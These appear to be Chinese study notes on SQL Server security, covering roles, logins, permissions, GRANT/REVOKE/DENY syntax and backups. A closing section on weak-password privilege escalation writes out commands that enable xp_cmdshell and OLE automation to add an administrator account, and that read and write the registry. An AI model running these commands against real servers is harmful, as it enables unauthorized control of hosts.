SQL Server安全
![image-20210521192114468](https://xiamo11.oss-cn-beijing.aliyuncs.com/image-20210521192114468.png)
Mssql-角色与权限
1、安全控制概述
-
安全性问题的提出
- 数据库的特点就是数据可以共享
- 数据共享必然带来安全性问题
- 数据库中的共享不能是无条件的共享
例:军事机密、国家机密、新产品实验数据、市场需求分析
市场营销策略、销售计划、客户档案、医疗档案、银行储蓄数据
-
数据库安全性概念
-
数据库安全性是指保护数据库,防止因用户非法使用数据库造成数据泄露、更改或破坏。
-
数据库系统中的数据共享必须是在DBMS统一的严格的控制之下,只允许有合法使用权限的用户访问允许他存取的数据。
-
-
计算机系统安全性层次
- 物理层:计算机系统在物理硬件上的安全性保护
- 操作系统层:操作系统本身提供的安全性保护措施
- 网络层:网络安全控制机制
- 数据库系统层:数据库系统应该又完善的访问控制机制,检查数据库用户合法性以及数据库操作权限
- 数据层:直接对数据加密
-
数据库安全控制模块
-
SQL Server安全控制过程
- 身份认证:系统内部记录着所有合法用户的标识,每次用户要求进入系统时,由系统将用户提供的身份标识与系统内部记录的合法用户标识进行核对,通过鉴定后才提供系统使用权。
- 操作权限控制:对于通过鉴定获得系统使用权的用户(即合法用户),系统根据他的存取权限定义对他的各种操作请求进行控制确保他只执行合法操作。
一个用户如果要访问SQL Server数据库中的数据,他必须要经过三个认证过程:
- 第一个认证过程是身份认证,这使用登录账号来标识用户,身份验证只验证用户连接到SQL Server数据库服务器的资格,即验证该用户是否具有连接到数据库服务器的“连接权”。
- 第二个认证过程是当用户访问数据库时,他必须具有对具体数据库的访问权,即验证用户是否是数据库的合法用户。
- 第三个认证过程是当用户操作数据库中的数据或对象时,他必须具有所要进行的数据库数据操作的操作权,即验证用户是否具有操作许可。
-
SQL Server用户分类
- 根据用户层次分类
- 分为SQL Server登录用户和数据库用户
- 只有先成为合法的SQL Server登录用户,才有可能成为合法的数据库用户
- 数据库中的用户按其操作权限的大小可分为如下三类
- 数据库系统管理员:数据库系统管理员(在SQL Server中为sa)在数据库中具有全部的权限,当用户以系统管理员身份进行操作时,系统不对其权限进行校验。
- 数据库对象拥有者:创建数据库对象的用户即为数据库对象拥有者,数据库对象拥有者对其所拥有的对象具有一切权限。
- 数据库访问用户:数据库访问用户只具有对数据库数据的增、删、改、查权。
- 根据用户层次分类
2、登录账户管理
-
服务器角色
服务器角色可以授予服务器管理的能力,服务器角色的权限作用域为服务器范围。用户可以向服务器角色中添加MSSQL登录名、WINDOWS账户和WINDOWS组,固定服务器角色的每个成员都可以向其所属角色添加其他登录名。
在【对象资源管理器】窗口中,依次打开【安全性】–> 【服务器角色】节点,即可看到所有的固定服务器角色。
Serveradmin —> 向数据库服务器角色中添加其他的登录用户,可以运行bvcc的命令,可以运行系统过程,可以运行reconfig选项,可以使用shutdown命令关掉服务器,为用户自定义表设置选项。
Securityadmin —> 关于服务器访问的所有动作。向数据库服务器角色中添加其他的登录用户,可以读取sql server的错误日志。
processadmin —> 向数据库服务器角色中添加其他的登录用户,可以执行kill命令直接终止用户进程。
setupadmin --> 向数据库服务器角色中添加其他的登录用户,添加删除或配置连接的服务器,执行一些系统过程(如mb_serveroption)。
Diskadmin —> 存取数据库中的一些文件,和文件相关的一些动作。向数据库服务器角色中添加其他的登录用户,可以运行dedump,device,dorp device系统的存储过程,disineed语句。
dbcreator --> 向数据库服务器角色中添加其他的登录用户,create database、alert database、执行一些系统存储过程如rename db。
-
数据库角色
数据库角色是针对某个具体数据库的权限分配,数据库用户可以作为数据库角色的成员,继承数据库角色的权限,数据库管理人员也可以通过管理角色的权限来管理数据库用户的权限。
-
SQL Server登录账号
- SQL Server有三个默认的用户登录账号
- sa:拥有全部系统权限和数据库权限
- adminstrators\builtin:SQL Server提供给Windows的系统管理员账户
- Guest:默认的普通用户账户
- 管理员的工作
- 建立新的登录用户
- 修改登录密码
- 删除登录用户
- SQL Server有三个默认的用户登录账号
-
SQL Server账户验证模式
账户验证是用来确认登录SQL Server的用户登录账号和密码的正确性,由此来验证其是否具有连接SQL Server的权限,SQL Server提供了两种确认用户和验证模式:
- Windows身份验证模式
- 仅允许授权的Windows用户访问SQL Server
- 混合身份验证模式
- 仅允许授权的Windows用户和非Windows用户访问SQL Server
- Windows身份验证模式
-
连接SQL Server服务器的过程
3、数据库用户管理
-
数据库用户管理概述
用户具有了登录账号之后,他只能连接到SQL Server服务器上,但不具有访问任何数据库的能力,只有成为了数据库的合法用户后,才能访问此数据库。
数据库的用户只能来自于服务器上已有的登录账号,让登录账号成为数据库的用户就称为“映射”。
一个登录账号可以映射为多个数据库中的用户。
管理数据库用户的过程实际上就是建立登录账号与数据库用户之间的映射关系的过程。
默认情况下,新建立的数据库只有一个用户,就是:dbo,它是数据库的拥有者。
-
授权登录用户为数据库用户
- 方法一:在企业管理器“安全性”中创建数据库用户
- 方法二:在数据库“用户”对象中创建数据库用户
- 方法三:利用系统存储过程sp_grantdbaccess创建数据库用户
-
数据库管理员的工作
- 创建数据库用户
- 删除数据库用户
4、数据库用户权限管理
-
权限管理概述
- 当用户成为数据库中的合法用户之后,他除了具有一些系统表的查询权以外,并不对数据库中的对象具有任何操作权,因此,下一步就需要为数据库中的用户授予数据库的操作权。
- 实际上将登录账号映射为数据库用户的目的也是为了方便对用户授予数据库对象的操作权。
-
权限种类
在SQL Server 2000中,权限分为对象权限、语句权限和隐含的权限三种。
- 对象权限:对象权限是指用户对数据库中的表、视图等对象的操作权,例如是否允许查询、增加、删除和修改数据等。
- 语句权限:这种权限专指是否允许执行下列语句:CREATE TABLE、CREATE VIEW等与创建数据库对象有关的操作。
- 隐含权限:隐含权限是指由SQL Server预定义的服务器角色、数据库角色、数据库拥有者和数据库对象拥有者所具有的权限,隐含权限相当于内置权限,不需要再明确地授予这些权限。例如,数据库拥有者自动地拥有对数据库进行一切操作的权限。
-
权限管理的内容使用
- 对象权限
- ALTER:具有更改特定数据库对象属性的权限。
- DELETE、INSERT、UPDATE和SELECT:具有对表和视图数据进行删除、插入、更改和查询的权限,其中UPDATE和SELECT可以对表或视图的单个列进行授权。
- EXECUTE:具有执行存储过程的权限。
- REFERENCES:具有通过外键引用其他表的权限。
- 语句权限
- CRAETE TABLE:创建表的权限
- CREATE VIEW:创建视图的权限
- CREATE PROCEDURE:创建存储过程的权限
- CREATE FUNCTION:创建函数的权限
- 对象权限
-
企业管理器管理权限使用
权限管理包含如下三个内容
- 授予权限:允许用户或角色具有某种操作权
- 收回权限:不允许用户或角色具有某种操作权,或者收回曾经授予的权限
- 禁止权限(拒绝访问):拒绝某用户或角色具有某种操作权,即使用户或角色由继承而获得这种操作权,也不允许执行响应的操作。
管理权限可以使用企业管理器实现,也可以使用Transcact-SQL语句实现。
-
使用Transact-SQL管理权限
管理权限语句在SQL语言中属于数据控制语句(DCL)。
#DDL 数据库定义语言(create alertr drop)
在Transact-SQL语句中,用于管理权限的语句有三个:
- GRANT语句(用于授权):允许用户或角色具有某种操作权
- REVOKE语句(用于收回权限):不允许用户或角色具有某种操作权,或者收回曾经授予的权限。
- DENY语句(用于禁止权限):拒绝某用户或角色具有某种操作权,即使用户或角色由于继承而获得这种操作权,也不允许执行相应的操作。
-
授予对象权限语句
-
GRANT 对象权限名[, …] ON {表名 | 视图名 | 存储过程名} TO {数据库用户名 | 用户角色名}[, …]
(其中对象权限名可以是ALL、SELECT、INSERT、UPDATE、DELETE和EXECUTE等)
例:为用户user1授予仓库表的查询权
GRANT SELECT ON 仓库 TO user1
例:为用户user1授予职工表的查询权和插入权。
GRANT SELECT,INSERT ON 职工 TO user1
-
-
收回对象权限语句
-
REVOKE 对象权限名 [, …] ON {表名 | 视图名 | 存储过程名} FROM {数据库用户名 | 用户角色名}[, …]
例:收回用户user1对职工表的查询权
REVOKE SELECT ON 职工 FROM user1
-
-
管理语句权限
- 授权语句:GRANT 语句权限名 [, …] TO {数据库用户名 | 用户角色名} [, …]
- 授予user1具有创建数据库表的权限(GRANT CREATE TABLE TO user1)
- 授予user1和user2具有创建数据库表和视图的权限(GRANT CREATE TABLE,CREATE VIEW TO user1,user2)
- 收权语句:REVOKE 语句权限名 [, …] TO {数据库用户名 | 用户角色名}[, …]
- 收回授予user1创建数据库表的权限(REVOKE CREATE TABLE FROM user1)
- 拒绝权限:DENY 语句权限名 [, …] TO {数据库用户名 | 用户角色名}[, …]
- 拒绝user1创建视图的权限(DENY CREATE VIEW TO user1)
- 授权语句:GRANT 语句权限名 [, …] TO {数据库用户名 | 用户角色名} [, …]
5、角色
-
数据库用户角色
-
角色概念与分类
- 数据库中,为便于对用户及权限的管理,可以将一组具有相同权限的用户组织在一起,这一组具有相同权限的用户就成为角色(Role)。
- 在SQL Server 2000中,角色分为固定的系统角色和用户自定义的角色。
- 系统角色又分为固定的服务器角色和固定的数据库角色,服务器角色是为整个服务器设置的,而数据库角色是为具体的数据库设置的。
- 用户自定义的角色属于数据库一级的角色。用户自定义的数据库角色有两种类型:即标准角色和应用程序角色。
-
角色管理语句权限
-
创建角色:CREATE ROLE role_name [AUTHORIZATION owner_name]
role_name:待创建角色的名称
AUTHORIZATION owner_name:将拥有新角色的数据库用户或角色。如果未指定用户,则执行CREATE ROLE的用户将拥有该角色。
例:创建用户自定义角色:ComDept,拥有者为创建该角色的用户。
CREATE ROLE CompDept;
例:创建用户自定义角色:InfoDept,拥有者为SQL_User1。
CREATE ROLE InfoDept AUTHORIZATION SQL_User1;
-
角色授权:使用SQL语句实现对用户角色的授权与为数据库用户授权完全一样。
例:为Software角色授予Student表的查询权
GRANT SELECT ON Student TO Software
例:为Admin角色授予Student表的增删改查权
GRANT SELECT,INSERT,DELETE,UPDATE ON Student TO Admin
-
-
角色成员维护
-
6、数据备份
- 完整数据库备份
- 差异备份
-
事务日志备份
通过恢复日志文件指定恢复点的方式来决定(条件灾难发生前数据库备份完整)
7、存储过程
-
SQL Server弱口令提权
-
提权过程:
exec sp_configure 'show advanced options',1;reconfigure;
—获取更改configure文件的权限
exec sp_configure 'xp_cmdshell',1;reconfigure;
—开启cmdshell(允许数据库调用数据库之外的系统命令)
exec master..xp_cmdshell 'net user test 1234 /add'
—(master数据库(全称master.dbo.xp_cmdshell))添加用户test
exec master..xp_cmdshell 'net localgroup administrators test /add'
— 将用户test添加到administrators组中
-
存储过程读注册表
xp_regread(这个扩展存储过程可以读取注册表指定的键里的值),使用方法(得到机器名)
-- 定义变量test,为了放查询出来的主机名 declare @test varchar(50) -- 读注册表,rootkey为注册表的值 exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', -- 指定读取注册表的路径 @key='system\Controlset001\control\computername\computername', -- 注册表键属性的名称 @value_name='computername', -- 将computername的值赋给test @value=@test OUTPUT -- 查询test SELECT @test
-
存储过程写注册表
xp_regwrite(这个扩展存储过程可以写入注册表指定的键里指定的值)
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\AAA', @value_name='AAAVALUE', @type='REG_SZ', @value='BBB'
-
存储过程提权
OLE相关的一系列存储过程
sp_configure 'OLE AUTOMATION PROCEDURES',1;RECONFIGURE; declare @shell int exec sp_oacreate 'WSCRIPT.SHELL',@SHELL OUTPUT exec sp_oamethod @shell,'RUN',null,'C:\WINNT\SYSTEM32\CMD.EXE /C NET USER TEST 1234 /ADD' -- 这样对方系统增加了一个用户名为test,密码为1234的用户,在执行: declare @shell int exec sp_oacreate 'WSCRIPT.SHELL',@shell output exec sp_oamethod @shell,'RUN',null,'C:\WINNT\SYSTEM32\CMD.EXE /C NET LOCALGROUP ADMINISTRATORS TEST /ADD'
-